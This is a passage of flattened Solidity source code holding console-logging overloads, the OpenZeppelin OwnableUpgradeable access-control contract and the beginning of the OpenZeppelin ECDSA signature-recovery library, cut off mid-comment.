memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3)); } function log(string memory p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3)); } function log(bool p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3)); } function log(bool p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3)); } function log(bool p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/cryptography/ECDSA.sol) pragma solidity ^0.8.0; import "../Strings.sol"; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: 